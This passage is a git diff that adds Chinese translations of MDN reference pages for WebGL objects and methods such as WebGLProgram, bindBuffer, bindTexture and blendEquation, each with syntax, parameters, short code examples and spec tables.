+ +

摘要

+ +

WebGLFramebuffer 对象的内容不能直接访问,因此该对象没有定义任何用于操作其自身内容的方法和属性。需要使用 WebGLFramebuffer 对象时,请使用 {{domxref("WebGLRenderingContext")}} 对象的以下方法:

+ + + +

示例

+ +

创建一个帧缓冲

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var buffer = gl.createFramebuffer();
+
+ +

说明

+ + + + + + + + + + + + + + +
说明状态备注
{{SpecName('WebGL', "#5.5", "WebGLFramebuffer")}}{{Spec2('WebGL')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLFramebuffer")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/webglprogram/index.html b/files/zh-cn/web/api/webglprogram/index.html new file mode 100644 index 0000000000..9113707d67 --- /dev/null +++ b/files/zh-cn/web/api/webglprogram/index.html @@ -0,0 +1,105 @@ +--- +title: WebGLProgram +slug: Web/API/WebGLProgram +tags: + - WebGL + - WebGLProgram + - 着色器使用 + - 着色器程序 +translation_of: Web/API/WebGLProgram +--- +
{{APIRef("WebGL")}}
+ +

WebGLProgram 是 WebGL API 的一部分,它由两个{{domxref("WebGLShader")}}s (webgl 着色器)组成,分别为顶点着色器和片元着色器(两种着色器都是采用 GLSL 语言编写的)。创建一个 WebGLProgram 需要调用 GL 上下文的{{domxref("WebGLRenderingContext.createProgram", "createProgram()")}} 方法,然后调用{{domxref("WebGLRenderingContext.attachShader", "attachShader()")}}方法附加上着色器,之后你才能将它们连接到一个可用的程序。

+ +

WebGLProgram 的创建过程请参考下面的代码:

+ +
var program = gl.createProgram();
+
+// 添加预先存在的着色器
+gl.attachShader(program, vertexShader);
+gl.attachShader(program, fragmentShader);
+
+gl.linkProgram(program);
+
+if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) {
+  var info = gl.getProgramInfoLog(program);
+  throw 'WebGL program 不能编译. \n\n' + info;
+}
+
+ +

查看 {{domxref("WebGLShader")}} api 了解更多关于创建以上例子中的顶点着色器片元着色器的信息。

+ +

示例

+ +

使用着色器程序

+ +

着色器程序在使用的过程中要分为几步,包括告知 GPU 来使用这段着色器程序,绑定合适的数据缓冲区,配置相关选项,最终把图像绘制到屏幕上。

+ +
// Use the program
+gl.useProgram(program);
+
+// Bind existing attribute data
+gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+gl.enableVertexAttribArray(attributeLocation);
+gl.vertexAttribPointer(attributeLocation, 3, gl.FLOAT, false, 0, 0);
+
+// Draw a single triangle
+gl.drawArrays(gl.TRIANGLES, 0, 3);
+
+ +

删除着色器程序

+ +

如果在连接着色器程序的过程中发生了错误,或者你希望删除一个已经存在的着色器程序,你可以调用代码 {{domxref("WebGLRenderingContext.deleteProgram()")}},这将释放连接着色器程序的内存。

+ +
gl.deleteProgram(program);
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('WebGL', "#5.6", "WebGLProgram")}}{{Spec2('WebGL')}}初始定义。
+ +

浏览器兼容

+ + + +

{{Compat("api.WebGLProgram")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webglquery/index.html b/files/zh-cn/web/api/webglquery/index.html new file mode 100644 index 0000000000..f57f4ae8c4 --- /dev/null +++ b/files/zh-cn/web/api/webglquery/index.html @@ -0,0 +1,60 @@ +--- +title: WebGLQuery +slug: Web/API/WebGLQuery +translation_of: Web/API/WebGLQuery +--- +
{{APIRef("WebGL")}} {{SeeCompatTable}}
+ +

WebGLQuery 接口是 WebGL 2 API 的一部分,并且提供几种异步查询信息的方法。缺省情况下,遮蔽查询和图元查询是可用的。

+ +

另一种查询是分离定时器查询,它可以允许你测量GPU的性能和能力。仅当存在 {{domxref("EXT_disjoint_timer_query")}} 扩展时分离定时器查询才是可用的。

+ +

使用 WebGLQuery 对象时, {{domxref("WebGL2RenderingContext")}} 的下列方法是有用的:

+ + + +

示例

+ +

创建一个 WebGLQuery 对象

+ +

在本例中,gl 必须是 {{domxref("WebGL2RenderingContext")}}. WebGLQuery 对象在 WebGL 1中是不可用的。

+ +
var query = gl.createQuery();
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('WebGL2', "#3.2", "WebGLQuery")}}{{Spec2('WebGL2')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLQuery")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/webglrenderbuffer/index.html b/files/zh-cn/web/api/webglrenderbuffer/index.html new file mode 100644 index 0000000000..d3dff95ab4 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderbuffer/index.html @@ -0,0 +1,61 @@ +--- +title: WebGLRenderbuffer +slug: Web/API/WebGLRenderbuffer +translation_of: Web/API/WebGLRenderbuffer +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderbuffer 接口是 WebGL API 的一部分,它提供了一个用于保存一个图像的缓存,并且可以用于渲染操作的源或者目标。

+ +

摘要

+ +

WebGLRenderbuffer 对象保存的内容不能被直接访问,因此这个对象没有提供任何用于操作其自身内容的方法和属性。当需要使用 WebGLRenderbuffer 对象的功能时,需要使用 {{domxref("WebGLRenderingContext")}} 对象的以下方法:

+ + + +

示例

+ +

创建一个 render buffer 对象

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var buffer = gl.createRenderbuffer();
+
+ +

说明

+ + + + + + + + + + + + + + +
明细状态备注
{{SpecName('WebGL', "#5.7", "WebGLRenderbuffer")}}{{Spec2('WebGL')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderbuffer")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/activetexture/index.html b/files/zh-cn/web/api/webglrenderingcontext/activetexture/index.html new file mode 100644 index 0000000000..6e5f43f563 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/activetexture/index.html @@ -0,0 +1,127 @@ +--- +title: WebGLRenderingContext.activeTexture() +slug: Web/API/WebGLRenderingContext/activeTexture +translation_of: Web/API/WebGLRenderingContext/activeTexture +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.activeTexture() 是 WebGL API 方法之一,用来激活指定的纹理单元。

+ +

句法

+ +
void gl.activeTexture(texture);
+
+ +

参数

+ +
+
texture
+
需要激活的纹理单元。其值是 gl.TEXTUREI ,其中的 I 在 0 到 gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1 范围内。
+
+ +

返回值

+ +

无返回值。

+ +

异常

+ +

如果 texture 不是 gl.TEXTUREI( I 在 0 到 gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1 范围内),一个 gl.INVALID_ENUM 错误将被抛出。

+ +

示例

+ +

接下来调用 gl.TEXTURE1 作为当前纹理,随后对纹理状态的更改将会影响到这个纹理。

+ +
gl.activeTexture(gl.TEXTURE1);
+
+ +

纹理单元的数量视实现而定, 你可以通过访问常量 MAX_COMBINED_TEXTURE_IMAGE_UNITS 来获取这个值。按照规范来说,最少是 8 个。

+ +
gl.getParameter(gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS);
+
+ +

想要获取激活的纹理,可以查询常量 ACTIVE_TEXTURE

+ +
gl.activeTexture(gl.TEXTURE0);
+gl.getParameter(gl.ACTIVE_TEXTURE);
+// returns "33984" (0x84C0, gl.TEXUTURE0 enum value)
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "activeTexture")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glActiveTexture.xml", "glActiveTexture")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("9")}}{{CompatGeckoDesktop("2.0")}}{{CompatIE("11")}}{{CompatOpera("12")}}{{CompatSafari("5.1")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}25{{CompatVersionUnknown}}{{CompatUnknown}}128.1
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/attachshader/index.html b/files/zh-cn/web/api/webglrenderingcontext/attachshader/index.html new file mode 100644 index 0000000000..c91262824e --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/attachshader/index.html @@ -0,0 +1,95 @@ +--- +title: WebGLRenderingContext.attachShader() +slug: Web/API/WebGLRenderingContext/attachShader +translation_of: Web/API/WebGLRenderingContext/attachShader +--- +
{{APIRef("WebGL")}}
+ +

WebGL API  的 WebGLRenderingContext.attachShader() 方法负责往 {{domxref("WebGLProgram")}} 添加一个片段或者顶点着色器。

+ +

语法

+ +
void gl.attachShader(program, shader);
+
+ +

参数

+ +
+
program
+
一个 {{domxref("WebGLProgram")}} 对象
+
shader
+
一个类型为片段或者顶点的 {{domxref("WebGLShader")}}
+
+ +

示例

+ +

以下代码为 {{domxref("WebGLProgram")}} 添加一个预先定义好的着色器。

+ +
var program = gl.createProgram();
+
+// 添加一个预先定义的着色器
+gl.attachShader(program, vertexShader);
+gl.attachShader(program, fragmentShader);
+
+gl.linkProgram(program);
+
+if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) {
+  var info = gl.getProgramInfoLog(program);
+  throw "Could not compile WebGL program. \n\n" + info;
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('WebGL', "#5.14.9", "attachShader")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glAttachShader.xml", "glAttachShader")}}{{Spec2('OpenGL ES 2.0')}}OpenGL man page.
+ +

浏览器兼容性

+ + + +

{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext.attachShader")}}

+ +

相关资料

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/bindattriblocation/index.html b/files/zh-cn/web/api/webglrenderingcontext/bindattriblocation/index.html new file mode 100644 index 0000000000..20be6a8f7d --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/bindattriblocation/index.html @@ -0,0 +1,70 @@ +--- +title: WebGLRenderingContext.bindAttribLocation() +slug: Web/API/WebGLRenderingContext/bindAttribLocation +tags: + - WebGL + - WebGLRenderingContext +translation_of: Web/API/WebGLRenderingContext/bindAttribLocation +--- +

{{APIRef("WebGL")}}

+ +

WebGL API的WebGLRenderingContext.bindAttribLocation()方法将通用顶点索引绑定到属性变量。

+ +

语法

+ +
void gl.bindAttribLocation(program, index, name);
+
+ +

参数

+ +
+
program
+
要绑定的{{domxref("WebGLProgram")}} 对象。
+
index
+
{{domxref("GLuint")}} 指定要绑定的通用顶点的索引。
+
name
+
{{domxref("DOMString")}}指定要绑定到通用顶点索引的变量的名称。 该名称不能以“webgl_”或“_webgl_”开头,因为这些名称将保留供WebGL使用。
+
+ +

返回值

+ +

None.

+ +

示例

+ +
gl.bindAttribLocation(program, colorLocation, 'vColor');
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.9", "bindAttribLocation")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glBindAttribLocation.xml", "glBindAttribLocation")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL API.
+ +

浏览器兼容

+ +

{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext.bindAttribLocation")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/bindbuffer/index.html b/files/zh-cn/web/api/webglrenderingcontext/bindbuffer/index.html new file mode 100644 index 0000000000..bb2b94b886 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/bindbuffer/index.html @@ -0,0 +1,127 @@ +--- +title: WebGLRenderingContext.bindBuffer() +slug: Web/API/WebGLRenderingContext/bindBuffer +tags: + - WebGL + - WebGLRenderingContext + - 绑定Buffer +translation_of: Web/API/WebGLRenderingContext/bindBuffer +--- +
{{APIRef("WebGL")}}
+ +

WebGL API的WebGLRenderingContext.bindBuffer()方法将给定的{{domxref("WebGLBuffer")}}绑定到目标。

+ +

语法

+ +
void gl.bindBuffer(target, buffer);
+
+ +

参数

+ +
+
target
+
 {{domxref("GLenum")}} 指定绑定点(target)。 可能的值: +
    +
  • gl.ARRAY_BUFFER: 包含顶点属性的Buffer,如顶点坐标,纹理坐标数据或顶点颜色数据。
  • +
  • gl.ELEMENT_ARRAY_BUFFER: 用于元素索引的Buffer。
  • +
  • 当使用 {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}时,可以使用以下值: +
      +
    • gl.COPY_READ_BUFFER: 从一个Buffer对象复制到另一个Buffer对象。
    • +
    • gl.COPY_WRITE_BUFFER: 从一个Buffer对象复制到另一个Buffer对象。
    • +
    • gl.TRANSFORM_FEEDBACK_BUFFER: Buffer for transform feedback operations.
    • +
    • gl.UNIFORM_BUFFER: 用于存储统一块的Buffer。
    • +
    • gl.PIXEL_PACK_BUFFER: 用于像素传输操作的Buffer。
    • +
    • gl.PIXEL_UNPACK_BUFFER: 用于像素传输操作的Buffer。
    • +
    +
  • +
+
+
buffer
+
要绑定的 {{domxref("WebGLBuffer")}} 。
+
+ +

返回值

+ +

None.

+ +

异常

+ +

只有一个目标可以绑定到给定的 {{domxref("WebGLBuffer")}} 。 尝试将缓冲区绑定到另一个目标将引发 INVALID_OPERATION 错误,并且当前的缓冲区绑定将保持不变。

+ +

一个被{{domxref("WebGLRenderingContext.deleteBuffer()", "deleteBuffer")}}标记为删除的{{domxref("WebGLBuffer")}}不可重新被绑定,尝试这样做将生成 INVALID_OPERATION 错误,并且当前绑定将保持不变。

+ +

示例

+ +

将缓冲区绑定到目标

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var buffer = gl.createBuffer();
+
+gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+
+ +

获取当前绑定

+ +

要检查当前的缓冲区绑定,请查询ARRAY_BUFFER_BINDING和ELEMENT_ARRAY_BUFFER_BINDING常量。

+ +
gl.getParameter(gl.ARRAY_BUFFER_BINDING);
+gl.getParameter(gl.ELEMENT_ARRAY_BUFFER_BINDING);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.5", "bindBuffer")}}{{Spec2('WebGL')}}Initial definition for WebGL.
{{SpecName('OpenGL ES 2.0', "glBindBuffer.xml", "glBindBuffer")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL ES 2 API.
{{SpecName('WebGL2', "#3.7.1", "bindBuffer")}}{{Spec2('WebGL2')}} +

Updated definition for WebGL 2.

+ +

Adds new target buffers:
+ gl.COPY_READ_BUFFER,
+ gl.COPY_WRITE_BUFFER,
+ gl.TRANSFORM_FEEDBACK_BUFFER,
+ gl.UNIFORM_BUFFER,
+ gl.PIXEL_PACK_BUFFER,
+ gl.PIXEL_UNPACK_BUFFER

+
{{SpecName('OpenGL ES 3.0', "glBindBuffer.xhtml", "glBindBuffer")}}{{Spec2('OpenGL ES 3.0')}}Man page of the (similar) OpenGL ES 3 API.
+ +

浏览器兼容性

+ + + +

{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext.bindBuffer")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/bindframebuffer/index.html b/files/zh-cn/web/api/webglrenderingcontext/bindframebuffer/index.html new file mode 100644 index 0000000000..ff033a902c --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/bindframebuffer/index.html @@ -0,0 +1,113 @@ +--- +title: WebGLRenderingContext.bindFramebuffer() +slug: Web/API/WebGLRenderingContext/bindFramebuffer +tags: + - API + - Method + - Reference + - WebGL + - WebGLRenderingContext +translation_of: Web/API/WebGLRenderingContext/bindFramebuffer +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 的 WebGLRenderingContext.bindFramebuffer() 方法将给定的 {{domxref("WebGLFramebuffer")}} 绑定到目标。

+ +

语法

+ +
void gl.bindFramebuffer(target, framebuffer);
+
+ +

参数

+ +
+
target
+
{{domxref("GLenum")}} 指定绑定点(目标)。可能的值为: +
    +
  • gl.FRAMEBUFFER: 收集用于渲染图像的颜色,alpha,深度和模板缓冲区的缓冲区数据存储。
  • +
  • 当使用 {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} 时,可以使用以下值: +
      +
    • gl.DRAW_FRAMEBUFFER: 相当于gl.FRAMEBUFFER, 用作绘图,渲染,清除和写入操作。
    • +
    • gl.READ_FRAMEBUFFER: 用作读取操作的资源。
    • +
    +
  • +
+
+
framebuffer
+
要绑定的 {{domxref("WebGLFramebuffer")}} 对象。
+
+ +

返回值

+ +

None.

+ +

异常

+ +

如果目标不是 gl.FRAMEBUFFERgl.DRAW_FRAMEBUFFERgl.READ_FRAMEBUFFER ,则抛出 gl.INVALID_ENUM 错误。

+ +

示例

+ +

绑定帧缓冲区

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var framebuffer = gl.createFramebuffer();
+
+gl.bindFramebuffer(gl.FRAMEBUFFER, framebuffer);
+
+ +

获取当前绑定

+ +

要检查当前帧缓冲区绑定,请查询 FRAMEBUFFER_BINDING 常量。

+ +
gl.getParameter(gl.FRAMEBUFFER_BINDING);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.6", "bindFramebuffer")}}{{Spec2('WebGL')}}WebGL初始定义.
{{SpecName('OpenGL ES 2.0', "glBindFramebuffer.xml", "glBindFramebuffer")}}{{Spec2('OpenGL ES 2.0')}}OpenGL API手册.
{{SpecName('WebGL2', "#3.7.1", "bindFrameBuffer")}}{{Spec2('WebGL2')}}WebGL 2更新定义.
+ 新增: gl.DRAW_FRAMEBUFFERgl.READ_FRAMEBUFFER
{{SpecName('OpenGL ES 3.0', "glBindFramebuffer.xhtml", "glBindFramebuffer")}}{{Spec2('OpenGL ES 3.0')}}OpenGL ES 3 API手册(类似).
+ +

浏览器兼容性

+ + + +

{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext.bindFramebuffer")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/bindrenderbuffer/index.html b/files/zh-cn/web/api/webglrenderingcontext/bindrenderbuffer/index.html new file mode 100644 index 0000000000..04d07a30fd --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/bindrenderbuffer/index.html @@ -0,0 +1,95 @@ +--- +title: WebGLRenderingContext.bindRenderbuffer() +slug: Web/API/WebGLRenderingContext/bindRenderbuffer +tags: + - API + - Method + - Reference + - WebGL + - WebGLRenderingContext +translation_of: Web/API/WebGLRenderingContext/bindRenderbuffer +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 的 WebGLRenderingContext.bindRenderbuffer() 方法将给定的 {{domxref("WebGLRenderbuffer")}} 绑定到一个目标,它必须是 gl.RENDERBUFFER 。

+ +

语法

+ +
void gl.bindRenderbuffer(target, renderbuffer);
+
+ +

参数

+ +
+
target
+
{{domxref("GLenum")}} 指定绑定点(目标)。 可能的值: +
    +
  • gl.RENDERBUFFER: 以可渲染的内部格式对单个图像进行缓冲数据存储。
  • +
+
+
renderbuffer
+
要绑定的 {{domxref("WebGLRenderbuffer")}} 对象。
+
+ +

返回值

+ +

None.

+ +

抛出错误

+ +

如果 target 不是 gl.RENDERBUFFER,则抛出 gl.INVALID_ENUM 错误。

+ +

示例

+ +

绑定一个渲染缓冲区

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var renderbuffer = gl.createRenderbuffer();
+
+gl.bindRenderbuffer(gl.RENDERBUFFER, renderbuffer);
+
+ +

获取当前绑定

+ +

要检查当前的渲染缓冲区绑定,请查询 RENDERBUFFER_BINDING 常量。

+ +
gl.getParameter(gl.RENDERBUFFER_BINDING);
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.7", "bindRenderbuffer")}}{{Spec2('WebGL')}}初始定义.
{{SpecName('OpenGL ES 2.0', "glBindRenderbuffer.xml", "glBindRenderbuffer")}}{{Spec2('OpenGL ES 2.0')}}OpenGL API手册.
+ +

浏览器兼容性

+ + + +

{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext.bindRenderbuffer")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/bindtexture/index.html b/files/zh-cn/web/api/webglrenderingcontext/bindtexture/index.html new file mode 100644 index 0000000000..2124e54091 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/bindtexture/index.html @@ -0,0 +1,117 @@ +--- +title: WebGLRenderingContext.bindTexture() +slug: Web/API/WebGLRenderingContext/bindTexture +tags: + - API + - Method + - Reference + - Textures + - WebGL + - WebGLRenderingContext +translation_of: Web/API/WebGLRenderingContext/bindTexture +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 的 WebGLRenderingContext.bindTexture() 方法将给定的 {{domxref("WebGLTexture")}} 绑定到目标(绑定点)。

+ +

语法

+ +
void gl.bindTexture(target, texture);
+
+ +

参数

+ +
+
target
+
{{domxref("GLenum")}} 指定绑定点(目标)。 可能的值: +
    +
  • gl.TEXTURE_2D: 二维纹理。
  • +
  • gl.TEXTURE_CUBE_MAP: 立方体映射纹理。
  • +
  • 当使用 {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} 时,可以使用以下值: +
      +
    • gl.TEXTURE_3D: 三维纹理.
    • +
    • gl.TEXTURE_2D_ARRAY: 二维数组纹理.
    • +
    +
  • +
+
+
texture
+
要绑定的 {{domxref("WebGLTexture")}} 对象。
+
+ +

返回值

+ +

无。

+ +

异常

+ +

如果目标不是 gl.TEXTURE_2D ,gl.TEXTURE_CUBE_MAP,gl.TEXTURE_3D 或 gl.TEXTURE_2D_ARRAY ,则会抛出 gl.INVALID_ENUM 错误。

+ +

示例

+ +

绑定纹理

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var texture = gl.createTexture();
+
+gl.bindTexture(gl.TEXTURE_2D, texture);
+
+ +

获取当前绑定

+ +

要检查当前纹理绑定,请查询gl.TEXTURE_BINDING_2D或gl.TEXTURE_BINDING_CUBE_MAP常量。

+ +
gl.getParameter(gl.TEXTURE_BINDING_2D);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.8", "bindTexture")}}{{Spec2('WebGL')}}WebGL初始定义。
{{SpecName('OpenGL ES 2.0', "glBindTexture.xml", "glBindTexture")}}{{Spec2('OpenGL ES 2.0')}}OpenGL ES 2.0 API手册(类似).
{{SpecName('WebGL2', "#3.7.1", "bindTexture")}}{{Spec2('WebGL2')}}WebGL 2更新定义。
+ 增加: gl.TEXTURE_3D and gl.TEXTURE_2D_ARRAY
{{SpecName('OpenGL ES 3.0', "glBindTexture.xhtml", "glBindTexture")}}{{Spec2('OpenGL ES 3.0')}}OpenGL ES 3.0 API手册(类似)。
+ +

浏览器兼容性

+ + + +

{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext.bindTexture")}}

+ +

另见

+ + + + diff --git a/files/zh-cn/web/api/webglrenderingcontext/blendcolor/index.html b/files/zh-cn/web/api/webglrenderingcontext/blendcolor/index.html new file mode 100644 index 0000000000..224f48a07f --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/blendcolor/index.html @@ -0,0 +1,82 @@ +--- +title: WebGLRenderingContext.blendColor() +slug: Web/API/WebGLRenderingContext/blendColor +tags: + - API + - Method + - Reference + - WebGL + - WebGLRenderingContext +translation_of: Web/API/WebGLRenderingContext/blendColor +--- +
{{APIRef("WebGL")}}
+ +

WebGL APIWebGLRenderingContext.blendColor() 方法用于设置源和目标混合因子。

+ +

语法

+ +
void gl.blendColor(red, green, blue, alpha);
+
+ +

参数

+ +
+
red
+
{{domxref("GLclampf")}} 红色分量的范围为0到1。
+
green
+
{{domxref("GLclampf")}} 红色分量的范围为0到1。
+
blue
+
{{domxref("GLclampf")}} 红色分量的为0到1。
+
alpha
+
{{domxref("GLclampf")}} 组件(透明度)的范围在0到1。
+
+ +

返回值

+ +

None.

+ +

示例

+ +

要设置混合颜色,请使用:

+ +
gl.blendColor(0, 0.5, 1, 1);
+ +

要获得混合颜色,请查询返回 {{jsxref("Float32Array")}} 的 BLEND_COLOR 常量。

+ +
gl.getParameter(gl.BLEND_COLOR);
+// Float32Array[0, 0.5, 1, 1]
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "blendColor")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glBlendColor.xml", "glBlendColor")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext.blendColor")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/blendequation/index.html b/files/zh-cn/web/api/webglrenderingcontext/blendequation/index.html new file mode 100644 index 0000000000..6eadfcf91e --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/blendequation/index.html @@ -0,0 +1,113 @@ +--- +title: WebGLRenderingContext.blendEquation() +slug: Web/API/WebGLRenderingContext/blendEquation +tags: + - API + - Method + - Reference + - WebGL + - WebGLRenderingContext +translation_of: Web/API/WebGLRenderingContext/blendEquation +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 的 WebGLRenderingContext.blendEquation() 方法用于将RGB混合方程和阿尔法混合方程设置为单个方程。

+ +

混合方程式确定新像素如何与 {{domxref("WebGLFramebuffer")}} 中的像素组合。

+ +

语法

+ +
void gl.blendEquation(mode);
+
+ +

参数

+ +
+
mode
+
{{domxref("GLenum")}} 指定源和目标颜色的组合方式。 必须是: +
    +
  • gl.FUNC_ADD: 源+目的地(默认值),
  • +
  • gl.FUNC_SUBTRACT: 源 - 目的地,
  • +
  • gl.FUNC_REVERSE_SUBTRACT: 目的地 - 源
  • +
  • 当使用 {{domxref("EXT_blend_minmax")}} 扩展名时: +
      +
    • ext.MIN_EXT: 最小的源和目的地,
    • +
    • ext.MAX_EXT: 最大源和目的地。
    • +
    +
  • +
  • 当使用 {{domxref("WebGL2RenderingContex","WebGL 2上下文","",1)}} 时,可以使用以下值: +
      +
    • gl.MIN: 最小的源和目的地,
    • +
    • gl.MAX: 最大源和目的地。
    • +
    +
  • +
+
+
+ +

异常

+ +

如果模式不是三个可能的值之一,则会抛出gl.INVALID_ENUM错误。

+ +

返回值

+ +

None.

+ +

示例

+ +

要设置混合方程式,请使用:

+ +
gl.blendEquation(gl.FUNC_ADD);
+gl.blendEquation(gl.FUNC_SUBTRACT);
+gl.blendEquation(gl.FUNC_REVERSE_SUBTRACT);
+
+ +

要获得混合方程,请查询返回 gl.FUNC_ADD,gl.FUNC_SUBTRACT,gl.FUNC_REVERSE_SUBTRACT 或 {{domxref("EXT_blend_minmax")}} 的 BLEND_EQUATION,BLEND_EQUATION_RGB 和 BLEND_EQUATION_ALPHA 常量:ext.MIN_EXT 或 ext.MAX_EXT 。

+ +
gl.getParameter(gl.BLEND_EQUATION_RGB) === gl.FUNC_ADD;
+// true
+
+gl.getParameter(gl.BLEND_EQUATION_ALPHA) === gl.FUNC_ADD;
+// true
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "blendEquation")}}{{Spec2('WebGL')}}Initial definition for WebGL.
{{SpecName('OpenGL ES 2.0', "glBlendEquation.xml", "glBlendEquation")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL ES 2.0 API.
{{SpecName('OpenGL ES 3.0', "glBlendEquation.xml", "glBlendEquation")}}{{Spec2('OpenGL ES 3.0')}}Man page of the OpenGL ES 3.0 API.
+ +

浏览器兼容性

+ + + +

{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext.blendEquation")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/blendequationseparate/index.html b/files/zh-cn/web/api/webglrenderingcontext/blendequationseparate/index.html new file mode 100644 index 0000000000..e274a77dde --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/blendequationseparate/index.html @@ -0,0 +1,126 @@ +--- +title: WebGLRenderingContext.blendEquationSeparate() +slug: Web/API/WebGLRenderingContext/blendEquationSeparate +translation_of: Web/API/WebGLRenderingContext/blendEquationSeparate +--- +
{{APIRef("WebGL")}}
+ +

The WebGLRenderingContext.blendEquationSeparate() method of the WebGL API is used to set the RGB blend equation and alpha blend equation separately.

+ +

The blend equation determines how a new pixel is combined with a pixel already in the {{domxref("WebGLFramebuffer")}}.

+ +

Syntax

+ +
void gl.blendEquationSeparate(modeRGB, modeAlpha);
+
+ +

Parameters

+ +
+
modeRGB
+
A {{domxref("GLenum")}} specifying how the red, green and blue components of source and destination colors are combined. Must be either: +
    +
  • gl.FUNC_ADD: source + destination (default value),
  • +
  • gl.FUNC_SUBTRACT: source - destination,
  • +
  • gl.FUNC_REVERSE_SUBTRACT: destination - source,
  • +
  • When using the {{domxref("EXT_blend_minmax")}} extension: +
      +
    • ext.MIN_EXT: Minimum of source and destination,
    • +
    • ext.MAX_EXT: Maximum of source and destination.
    • +
    +
  • +
